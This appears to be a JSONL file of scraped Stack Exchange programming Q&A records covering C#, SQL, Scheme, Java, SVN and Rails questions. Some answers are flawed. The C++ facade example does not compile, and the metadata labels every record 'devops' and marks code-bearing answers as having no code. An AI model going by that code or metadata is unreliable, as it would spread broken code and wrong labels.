{"id": "hf_ea6239615f4c", "question": "<p>How to add new item in existing string array in C#.net?</p>\n\n<p>I need to preserve the existing data.</p>\n", "question_body": "", "answer": "I would use a List if you need a dynamically sized array:\n```\n```\nList<string> ls = new List<string>();\nls.Add(\"Hello\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:40.295182"}
{"id": "hf_902eba6fcd2d", "question": "<p>I want to compute for month difference of 2 dates which will return a float value.</p>\n\n<p>example:</p>\n\n<p>date1='4/23/2008'\ndate2='12/31/2008'</p>\n\n<p>that will be 7.y months. I want to find the y value. can someone give me the formula to make this in sql codes? tnx..</p>\n", "question_body": "", "answer": "There's no standard sql to handle this universally. It depends on what database you're using. Basically, you need to convert the two date strings to the date format your database engine uses internally and subtract the two dates, what the result of the subtraction means will, again, depend. In Oracle, you'd use\n```\nto_date()\n```\nfor the conversion and the result of the subtraction will be a float representing the time in number of days.\nIn short, search your db's manual for a section about date handling or data types.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:40.330274"}
{"id": "hf_b8f1fb8fb324", "question": "<p>I've heard of \"error\" when using floating point variables.  Now I'm trying to solve this puzzle and I think I'm getting some rounding/floating point error.  So I'm finally going to figure out the basics of floating point error.</p>\n\n<p>What is a simple example of floating point/rounding error (preferably in C++) ?</p>\n\n<p>Edit:  For example say I have an event that has probability p of succeeding.  I do this event 10 times (p does not change and all trials are independent).  What is the probability of exactly 2 successful trials?  I have this coded as:</p>\n\n<pre><code>double p_2x_success = pow(1-p, (double)8) * pow(p, (double)2) * (double)choose(8, 2);\n</code></pre>\n\n<p>Is this an opportunity for floating point error?</p>\n", "question_body": "", "answer": "Generally, floating point error refers to when a number that cannot be stored in the IEEE floating point representation.\nIntegers are stored with the right-most bit being 1, and each bit to the left being double that (2,4,8,...).  It's easy to see that this can store any integer up to 2^n, where n is the number of bits.\nThe mantissa (decimal part) of a floating point number is stored in a similar way, but moving left to right, and each successive bit being half of the value of the previous one.  (It's actually a little more complicated than this, but it will do for now).\nThus, numbers like 0.5 (1/2) are easy to store, but not every number <1 can be created by adding a fixed number of fractions of the form 1/2, 1/4, 1/8, ...\nA really simple example is 0.1, or 1/10.  This can be done with an infinite series (which I can't really be bothered working out), but whenever a computer stores 0.1, it's not exactly this number that is stored.\nIf you have access to a Unix machine, it's easy to see this:\n```\n```\nPython 2.5.1 (r251:54863, Apr 15 2008, 22:57:26) \n[GCC 4.0.1 (Apple Inc. build 5465)] on darwin\nType \"help\", \"copyright\", \"credits\" or \"license\" for more information.\n>>> 0.1\n0.10000000000000001\n>>>\n```\n```\nYou'll want to be really careful with equality tests with floats and doubles, in whatever language you are in.\n(As for your example, 0.2 is another one of those pesky numbers that cannot be stored in IEEE binary, but as long as you are testing inequalities, rather than equalities, like p <= 0.2, then you'll be okay.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:40.357753"}
{"id": "hf_4e2161a2b601", "question": "<p>I hope someone will be able to answer my question.</p>\n\n<p>I have Subversion set up, served by Apache2+SSL, doing web development.</p>\n\n<p>I want a post-commit hook that runs svn update on my testing server, so when someone commits, it will automatically update the testing site. The hook doesn't work because the certificate is a self generated one and it's not trusted.</p>\n\n<p>I've tried to accept (p)ermanently, but it doesn't. </p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "You didn't say what platform your testing server is running, but if it's a Windows box, then you need to add the certificate to your testing server's certificate store. The following technet articles might be of some use:\nCertificate stores: Public Key\nA Step-by-Step Guide to Advanced Certificate Management", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:40.408671"}
{"id": "hf_7a4bbadf971b", "question": "<p>FindBugs has found a potential bug in my code. But it is not a bug.</p>\n\n<p>Is it possible to mark this occurrence as 'not a bug' AND have it removed from the bug list?</p>\n\n<p>I have documented quite clearly why for each case it is not a bug.</p>\n\n<p>For example. A class implements the comparable interface. it has the compareTo method. I have however not overridden the equals method.</p>\n\n<p>FindBugs does not like this as the JavaDocs state that it is recommended that</p>\n\n<pre><code>(x.compareTo(y)==0) == (x.equals(y))\n</code></pre>\n\n<p>Although in my case the above condition is and always will be true.</p>\n", "question_body": "", "answer": "Probably by adding a\nfilter\nas parameter of findbugs\nMatch clauses can only match information that is actually contained in the bug instances\n```\n```\n<Match>\n   <Class name=\"com.foobar.MyClass\" />\n   <Method name=\"myMethod\" />\n   <Bug pattern=\"EQ_COMPARETO_USE_OBJECT_EQUALS\" />\n</Match>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:40.467840"}
{"id": "hf_20d8e9469202", "question": "<blockquote>\n<p>If f is a numerical function and n is a positive integer, then we can form the nth repeated application of f, which is defined to be the function whose value at x is f(f(...(f(x))...)). For example, if f is the function x + 1, then the nth repeated application of f is the function x + n. If f is the operation of squaring a number, then the nth repeated application of f is the function that raises its argument to the 2^nth power. Write a procedure that takes as inputs a procedure that computes f and a positive integer n and returns the procedure that computes the nth repeated application of f. Your procedure should be able to be used as follows:</p>\n<pre><code>((repeated square 2) 5)\n625\n</code></pre>\n<p>You can use this to simplify the answer:</p>\n<pre><code> (define (compose f g) (lambda (x) (f (g x))))\n</code></pre>\n</blockquote>\n", "question_body": "", "answer": "Did you just delete and reask this question?  I'm copying my former answer here (thankfully, my browser had cached it):\nWell, you probably want something like this, right?\n```\n```\n((repeated square 3) 5)\n-> (square ((repeated square 2) 5))\n-> (square (square ((repeated square 1) 5)))\n-> (square (square (square ((repeated square 0) 5))))\n-> (square (square (square (identity 5))))\n```\n```\n(I don't know whether identity is predefined in Scheme. If not, it's easy to write.)\nNow, this is not directly reproducible because you can't magically enclose code outside of the call to repeated with arbitrary stuff. However, what do these reduction steps look like when rewritten using compose? Can you make out a pattern in the resulting list of steps and reproduce it?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:40.514499"}
{"id": "hf_c804b05f5e4d", "question": "<p>What would be the best way to avoid SQL injection on the C#.net platform.</p>\n\n<p>Please post an C# implementation if you have any.</p>\n", "question_body": "", "answer": "There's no algorithm needed - just don't use string concatenation to build SQL statements. Use the SqlCommand.Parameters collection instead. This does all the necessary escaping of values (such as replacing\n```\n'\n```\nwith\n```\n''\n```\n) and ensures the command will be safe because somebody else (i.e. Microsoft) has done all the testing.\ne.g. calling a stored procedure:\n```\n```\nusing (var connection = new SqlConnection(\"...\"))\nusing (var command = new SqlCommand(\"MySprocName\", connection))\n{\n    command.CommandType = CommandType.StoredProcedure;\n    command.Parameters.AddWithValue(\"@Param1\", param1Value);\n    return command.ExecuteReader();\n}\n```\n```\nThis technique also works for inline SQL statements, e.g.\n```\n```\nvar sql = \"SELECT * FROM MyTable WHERE MyColumn = @Param1\";\nusing (var connection = new SqlConnection(\"...\"))\nusing (var command = new SqlCommand(sql, connection))\n{\n    command.Parameters.AddWithValue(\"@Param1\", param1Value);\n    return command.ExecuteReader();\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:40.581898"}
{"id": "hf_59c57d4ab4a6", "question": "<p>What is the recommended practice? Should I add the my sub-folder under the fitnesse folder to version control?    </p>\n\n<p><em>Context: working on a single developer rails pet project. I've my rails project under version-control (Subversion) however my fitnesse wiki pages lie under the fitnesse program folder.</em></p>\n\n<p>Fitnesse seems to have its own version-control... (I see numbered zips along with each of my wiki pages) Is it reliable? Where does it store the revisions?</p>\n", "question_body": "", "answer": "FitNesse stores old revisions of every page in a zip file in the same directory as the page's files. The zip filename marks the timestamp of the revision. It works similar to wikipedia - history, but not full-fledged version control.\nIn our company we wanted a setup where whenever we checkout a (possibly old) revision of the source, we also check out FitNesse tests that pass for that specific version.\nTherefore, we installed FitNesse (the fitnesse directory, including the FitNesse executable and the FitNesseRoot directory) inside our source tree in version control, setting a rule to not import *.zip within the FitNesseRoot directory (as we have version control to keep history for us and don't need them).\nThis works excellent with sane SCMs (I used svn w/ svn-tortoise).\nWhen we moved to Microsoft Foundation Server source control we had many issues with the checkout-edit-checkin workflow. Then again, this workflow is simply a bad idea in general, and should only be used by insane control-freaks.\n(edit: answered commenter's question)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:40.680609"}
{"id": "hf_0fe63f1e9082", "question": "<p>I have checked with the <a href=\"http://en.wikipedia.org/wiki/Facade_pattern\" rel=\"noreferrer\">wikipedia article</a>, and it seems like it is missing the c++ version of a code example.  I am not able to fully appreciate the Facade pattern without this, can you please help explain it to me using C++?</p>\n", "question_body": "", "answer": "I've done a search and replace on the C# example. This might not help you, because if you understand C++ then you should be able to understand the C# as it uses the same constructs and keywords (classes, functions, namespaces, public, etc)\n```\n```\n// \"Subsystem ClassA\" \n#include <iostream>\nclass SubSystemOne\n{\npublic:\n    void MethodOne()\n    {\n        std::cout << \" SubSystemOne Method\" << std::endl;\n    }\n}\n\n// Subsystem ClassB\" \n\nclass SubSystemTwo\n{\npublic:\n    void MethodTwo()\n    {\n        std::cout << \" SubSystemTwo Method\" << std::endl;\n    }\n}\n\n// Subsystem ClassC\" \n\nclass SubSystemThree\n{\npublic:\n    void MethodThree()\n    {\n            std::cout << \" SubSystemThree Method\" << std::endl;\n    }\n}\n\n// Subsystem ClassD\" \n\nclass SubSystemFour\n{\npublic:\n    void MethodFour()\n    {\n        std::cout << \" SubSystemFour Method\" << std::endl;\n    }\n}\n\n// \"Facade\" \n\nclass Facade\n{\n    SubSystemOne one;\n    SubSystemTwo two;\n    SubSystemThree three;\n    SubSystemFour four;\n\npublic:\n    Facade()\n    {\n    }\n\n    void MethodA()\n    {\n        std::cout << \"\\nMethodA() ---- \" << std::endl;\n        one.MethodOne();\n        two.MethodTwo();\n        four.MethodFour();\n    }\n    void MethodB()\n    {\n        std::cout << \"\\nMethodB() ---- \" << std::endl;\n        two.MethodTwo();\n        three.MethodThree();\n    }\n}\n\nint Main()\n{\n    Facade facade = new Facade();\n\n    facade.MethodA();\n    facade.MethodB();\n\n    return 0;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:40.720916"}
{"id": "hf_4845a9f16f70", "question": "<p>I want to scale an image in C# with quality level as good as Photoshop does. Is there any C# image processing library available to do this thing?</p>\n", "question_body": "", "answer": "When you draw the image using GDI+ it scales quite well in my opinion. You can use this to create a scaled image.\nIf you want to scale your image with GDI+ you can do something like this:\n```\n```\nBitmap original = ...\nBitmap scaled = new Bitmap(new Size(original.Width * 4, original.Height * 4));\nusing (Graphics graphics = Graphics.FromImage(scaled)) {\n  graphics.DrawImage(original, new Rectangle(0, 0, scaled.Width, scaled.Height));\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:40.761245"}
{"id": "hf_23f313079034", "question": "<p>Can anyone explain to me how to get the visual state manager to work with a WPF application? It's just been added to the new wpftoolkit. I installed it as told, but even the sample doesn't show the VSM. In silverlight it work, but not in WPF. If installed the latest Blend 2 and updated with the SP1. </p>\n", "question_body": "", "answer": "Read these 2 articles on VSM in WPF:\nhttp://dotnet.org.za/rudi/archive/2008/10/29/silverlight-love-for-wpf.aspx\nhttp://windowsclient.net/wpf/wpf35/wpf-35sp1-toolkit-visual-state-manager-overview.aspx\nTheir is a registry setting that needs to be \"turned on\" for VSM in WPF support for blend... Read more\nhere", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:40.817049"}
{"id": "hf_78979f46f5ee", "question": "<p>Please give me some insight on how to get the best start on applying Aspect Oriented Programming to my C#.net applications?</p>\n", "question_body": "", "answer": "I recommend trying\nSpring.NET\n. It lets you create \"Interceptor\" classes that can be wrapped around calls into business objects simply by adding entries into the application's config file.\nWe've used it to do connection/transaction handling, error logging and authentication. Which keeps all of those \"aspects\" out of the business logic code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:40.841319"}
{"id": "hf_a4547a997f94", "question": "<p>What is the time complexity? Why?</p>\n\n<pre><code>(define (mult a b)\n      (define (internal a accum)\n        (if (= a 1) accum\n            (internal (- a 1) (+ accum b))))\n      (internal a b))\n\n(define (to-the-power-of m n)\n  (define (internal x accum)\n    (if (= x 0) accum\n        (internal (- x 1) (mult accum m))))\n  (internal n 1))\n</code></pre>\n", "question_body": "", "answer": "Assuming addition and multiplication are both counted as a single operation, this function performs O(m^n) operations.\nFirst consider the mult function. It (mult a b) will perform exactly a-1 additions. Since, the asymptotic growth is the same, lets approximate this by a, for mathematical simplicity.\nNow for the to-the-power-of function, this performs n calls to the mult function. These calls are to (mult 1 m), yield m, then to (mult m m), yielding m^2, then to (mult m^2 m), yielding m^3 and so on upto m^n. So the total number of operations performed here is the sum m^0 + m^1 + ... + m^n. This is (m^n - 1) / (m-1) which grows as m^n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:40.865387"}
{"id": "hf_ee04db783614", "question": "<p>Let's suppose I have an applet running within a page in a browser.\nWhat happens when the browser is closed by the user?</p>\n\n<p>Is the applet notified so that it can perform some kind of close action on its side (closing connections opened to a server, cleaning static variables, ...)?</p>\n\n<p>Also, I assume the same behavior would apply for a page refresh or page navigation (instead of browser close). The browser remains opened but the applet is gone. Although when you close the browser you also close the JVM so I'm unsure at this point.</p>\n\n<p>Thanks,\nJB</p>\n", "question_body": "", "answer": "Yes, the\ndestroy() method\nshould be called before the\nbrowser unloads the object\n.\ndestroy()\nis the last of four \"\nlife-cycle methods\n\" of the Java applet (the others are\ninit()\n,\nstart()\n, and\nstop()\n).  They're actually called at different times depending on your\nbrowser\nand\nvirtual machine\n.  If you'd like to know exactly when each is called, implement each method within your applet, and System.out some feedback.\nIdeally, destroy() should be\ncalled by the environment\n, and should only be called once.  If it seems like destroy() is not being called, you might declare a public finalize() method, which calls destroy.  You could also try to call destroy() from javascript as the window object unloads, but again, be sure that you're not calling destroy() unnecessarily.\n```\n```\npublic void finalize () {\n    destroy();\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:40.889661"}
{"id": "hf_442ddfc3e180", "question": "<p>I'm having difficulty parsing some JSON data returned from my server using jQuery.ajax()</p>\n\n<p>To perform the AJAX I'm using:</p>\n\n<pre><code>$.ajax({\n  url: myUrl,\n  cache: false,\n  dataType: \"json\",\n  success: function(data){\n    ...\n  },\n  error: function(e, xhr){\n    ...\n  }\n});  \n</code></pre>\n\n<p>And if I return an array of items then it works fine:</p>\n\n<pre><code>[ { title: \"One\", key: \"1\" }, { title: \"Two\", key: \"2\" } ]\n</code></pre>\n\n<p>The success function is called and receives the correct object.</p>\n\n<p>However, when I'm trying to return a single object:</p>\n\n<pre><code>{ title: \"One\", key: \"1\" } \n</code></pre>\n\n<p>The error function is called and xhr contains 'parsererror'.  I've tried wrapping the JSON in parenthesis on the server before sending it down the wire, but it makes no difference.  Yet if I paste the content into a string in Javascript and then use the eval() function, it evaluates it perfectly.</p>\n\n<p>Any ideas what I'm doing wrong?</p>\n\n<p>Anthony</p>\n", "question_body": "", "answer": "Is your server sending data as Content-Type\n```\n\"*/json\"\n```\n? If not, modify the response headers accordingly. Sending\n```\n\"application/json\"\n```\nwould be fine, for example.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:40.983997"}
{"id": "hf_363bc095a4c4", "question": "<p>Has anyone tested sorting with Selenium? I'd like to verify that sorting a table in different ways work (a-z, z-a, state, date, etc.). Any help would be very much appreciated.</p>\n\n<p>/Göran</p>\n", "question_body": "", "answer": "You can get value of fields like this:\n```\n```\n//div[@id='sortResult']/div[1]/div  (this'd be row 1 of the search result)\n //div[@id='sortResult']/div[2]/div   ( row 2)\n```\n```\n(I'm making some assumptions about the HTML structure here, but you get my drift...)\nThese can be quite fragile assertions, I'd recommend you anchor these xpath references to an outer container element (not the root of your document, as lots of \"automatic\" tools do).\nWhen you click sort, the value changes. You'll have to find out what the values are supposed to be.\nAlso watch out for browser compatibility with such xpaths. They're not always ;)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:41.030788"}
{"id": "hf_44ef539a0737", "question": "<p>How can i, in a bash script, execute a command when the user stops the script (with ctrl - c)?</p>\n\n<p>Currently, i have this:</p>\n\n<pre><code>afplay file.mp3\n\nwhile true:\ndo osascript -e \"set volume 10\"\nend\n</code></pre>\n\n<p>But i would like it to execute <code>killall afplay</code> when the user is finished with it, regardless if it is command-c or another keypress.</p>\n", "question_body": "", "answer": "```\ntrap 'killall afplay' EXIT\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:41.054074"}
{"id": "hf_f8b1053d5b36", "question": "<p>How can I customise the Site Actions menu to remove or rename 'standard' menu items? Where are the site actions menu items defined? </p>\n", "question_body": "", "answer": "The site actions menu is defined in the Siteaction.xml in Template\\layouts\\editingMenu under the 12 hive.  The following link shows how to manually remove items.\nCustomize Site Actions Menu\nI have added options to the menu using features, but have never tried to hide OTB option in code.  I would be interested in your results.\nGood luck!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:41.113689"}
{"id": "hf_3978f9a5c98e", "question": "<p>There is this example code, but then it starts talking about millisecond / nanosecond problems.</p>\n\n<p>The same question is on MSDN, <em><a href=\"https://learn.microsoft.com/archive/blogs/brada/seconds-since-the-unix-epoch-in-c\" rel=\"noreferrer\">Seconds since the Unix epoch in C#</a></em>.</p>\n\n<p>This is what I've got so far:</p>\n\n<pre><code>public Double CreatedEpoch\n{\n  get\n  {\n    DateTime epoch = new DateTime(1970, 1, 1, 0, 0, 0, 0).ToLocalTime();\n    TimeSpan span = (this.Created.ToLocalTime() - epoch);\n    return span.TotalSeconds;\n  }\n  set\n  {\n    DateTime epoch = new DateTime(1970, 1, 1, 0, 0, 0, 0).ToLocalTime();\n    this.Created = epoch.AddSeconds(value);\n  }\n}\n</code></pre>\n", "question_body": "", "answer": "A Unix tick is 1 second (if I remember well), and a .NET tick is 100 nanoseconds.\nIf you've been encountering problems with nanoseconds, you might want to try using AddTick(10000000 * value).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:41.174243"}
{"id": "hf_dac9ee0d84de", "question": "<p>Say I have an input file, and a target directory. How do I determine if the input file is on the same hard-drive (or partition) as the target directory?</p>\n\n<p>What I want to do is the copy a file if it's on a different, but move it if it's the same. For example:</p>\n\n<pre><code>target_directory = \"/Volumes/externalDrive/something/\"\ninput_foldername, input_filename = os.path.split(input_file)\nif same_partition(input_foldername, target_directory):\n    copy(input_file, target_directory)\nelse:\n    move(input_file, target_directory)\n</code></pre>\n", "question_body": "", "answer": "In C, you would use\n```\nstat()\n```\nand compare the\n```\nst_dev\n```\nfield. In python,\n```\nos.stat\n```\nshould do the same.\n```\n```\nimport os\ndef same_partition(f1, f2):\n    return os.stat(f1).st_dev == os.stat(f2).st_dev\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:41.199123"}
{"id": "hf_8b09fba72916", "question": "<p>I'm using a <code>BindingList&lt;T&gt;</code> in my Windows Forms that contains a list of \"<code>IComparable&lt;Contact&gt;</code>\" Contact-objects. Now I'd like the user to be able to sort by any column displayed in the grid.</p>\n\n<p>There is a way described on MSDN online which shows how to implement a custom collection based on <code>BindingList&lt;T&gt;</code> which allows sorting. But isn't there a Sort-event or something that could be caught in the DataGridView (or, even nicer, on the BindingSource) to sort the underlying collection using custom code?</p>\n\n<p>I don't really like the way described by MSDN. The other way I could easily apply a LINQ query to the collection.</p>\n", "question_body": "", "answer": "Not for custom objects. In .Net 2.0, I had to roll my on sorting using BindingList. There may be something new in .Net 3.5 but I have not looked into that yet. Now that there is LINQ and the sorting options that come with if this now may be easier to implement.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:41.225705"}
{"id": "hf_25ac2de83d60", "question": "<p>I'm at a client doing some quick fixes to their access application. It was a while I had a go with access, but I'm recovering quickly. However, I've discovered an interesting problem:</p>\n\n<p>For some reports, I get a \"Record is deleted\" error. I've checked the reports, and it seems like there's a problem with one table. When opening that table, I find a record where all columns are marked \"#deleted\". So obviously, this row seems to be the culprit. However, when I try to delete that row, nothing really happens. If I re-open the table, the row still exists. </p>\n\n<p>Is there a corruption in the db? How can I remove this record for good?</p>\n\n<p><strong>Edit:</strong> It's a MS2000-version</p>\n\n<p><strong>Solution:</strong> Simply compress/repair did not work. I converted the database to the 2003 file format instead, which did the trick. I've marked the first answer suggesting compress/repair, since it pointed me in the right direction. Thanks!</p>\n", "question_body": "", "answer": "Have you tried the built in Access compact/repair tool? This should flush deleted records from the database.\nThe exact location varies according to the version of Access you're running, but on Access 2003 it's under Tools > Database Utilities > Compact and repair database. Some earlier versions of Access had two separate tools - one for compact, one for repair - but they were accessed from a similar location. If they are separate on the version the client has, you need to run both.\nThis should be a non-destructive operation, but it would be best to test this on a copy of the MDB file (apologies for stating the obvious).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:41.273238"}
{"id": "hf_13658df9b303", "question": "<p>I am in the process of moving from VSS to SVN and I'm not sure how to share files in SVN.</p>\n\n<p>Basically we have the following structure in VSS</p>\n\n<pre><code>$MOSS\n  - Components\n    - ComponentA\n      - bin\n    - ComponentB\n      - bin\n  - GAC Mirror\n</code></pre>\n\n<p>GAC Mirror holds a shared copy of all the Dlls from the bin folders of the components to allow for easy copying to the GAC.</p>\n\n<p>In VSS all you do is drag the Dll from the bin folder to the GAC Mirror folder and it works it's life out.</p>\n\n<p>How would I do this in SVN?</p>\n\n<p>Thanks in advance.</p>\n", "question_body": "", "answer": "We had the same problem.  The simple answer is that you can't share files in SVN - in the end we had to restructure our directories and use batch files.\ne.g. for source code files that were shared, we moved them to an Include folder, and have all the projects reference that folder.\nFor binary files that need to be copied to more than one location we store them just once in SVN, and then use batch files to copy them across to the target locations on each developers machine (or also on the build machine).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:41.297921"}
{"id": "hf_4e43e38a61eb", "question": "<p>How do I get the substring <code>\" It's big \\\"problem  \"</code> using a regular expression?</p>\n\n<pre><code>s = ' function(){  return \" It\\'s big \\\"problem  \";  }';     \n</code></pre>\n", "question_body": "", "answer": "```\n```\n/([\"\\']).*?(?<!\\\\)(\\\\\\\\)*\\1/is\n```\n```\nshould work with any quoted string", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:41.321259"}
{"id": "hf_e092b50cf5be", "question": "<p>I'me looking for a function that would receive a time and would round it to the next/previous hour / half-hour / quarter / minute.</p>\n", "question_body": "", "answer": "Try this function\n```\n```\nCREATE FUNCTION [dbo].[RoundTime] (@Time datetime, @RoundTo float)\nRETURNS datetime\nAS\nBEGIN\n   DECLARE @RoundedTime smalldatetime\n   DECLARE @Multiplier float\n\n   SET @Multiplier= 24.0/@RoundTo\n\n   SET @RoundedTime= ROUND(CAST(CAST(CONVERT(varchar,@Time,121) AS datetime) AS float) * @Multiplier,0)/@Multiplier\n\n   RETURN @RoundedTime\nEND\n\nselect dbo.roundtime('13:15',0.5)\n```\n```\nThe 1st param is the time to be rounded and the 2nd will be base on your list (0.5-half hour, 1-one hour, ...)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:41.344255"}
{"id": "hf_ffc16cf28a75", "question": "<p>I'm currently using the ActiveRecord-based session store for my Rails app and I have a background process which clears out inactive sessions every 30 minutes.</p>\n\n<p>I'd like to switch to Rails' new cookie-based session store but how do I set the expiry time of the session to 30 minutes, as opposed to the default 'at end of session' value?</p>\n", "question_body": "", "answer": "The\nsession options\npage on the Rails wiki hints that this is only possible through a plugin:\nSet the session cookie expire time\nUnfortunately Rails has no way to dynamically set the expiry time of the session cookie. So it is recommended that you use the following plugin, which allows you to accomplish it:\nhttp://blog.codahale.com/2006/04/08/dynamic-session-expiration-times-with-rails/\nOf course take into account that the plugin is old, and may not work with your current version of Rails (I haven't looked at the specifics)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:41.369927"}
{"id": "hf_3937a49e4a1d", "question": "<p>I was wondering if in Java I would get any odd behaviour if I synchronise twice on the same object?</p>\n\n<p>The scenario is as follows</p>\n\n<pre><code>pulbic class SillyClassName {\n\n    object moo;\n    ...\n    public void method1(){\n        synchronized(moo)\n        {\n            ....\n            method2();\n            ....\n        }\n    }\n\n    public void method2(){\n        synchronized(moo)\n        {\n            doStuff();\n        }\n    }\n}\n</code></pre>\n\n<p>Both methods use the object and are synchronised on it. Will the second method when called by the first method stop because it's locked?</p>\n\n<p>I don't think so because it's the same thread but I'm unsure of any other odd results that might occur.</p>\n", "question_body": "", "answer": "In java, the\n```\nsynchronized\n```\nkeyword on a method basically synchronizes on the current object, so in effect it's doing what you suggest above implicitly.\nYou won't experience problems with synchronizing on one object in one method and then synchronizing on the same object in another method because, as you say, the current thread already holds the lock on that object.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:41.507868"}
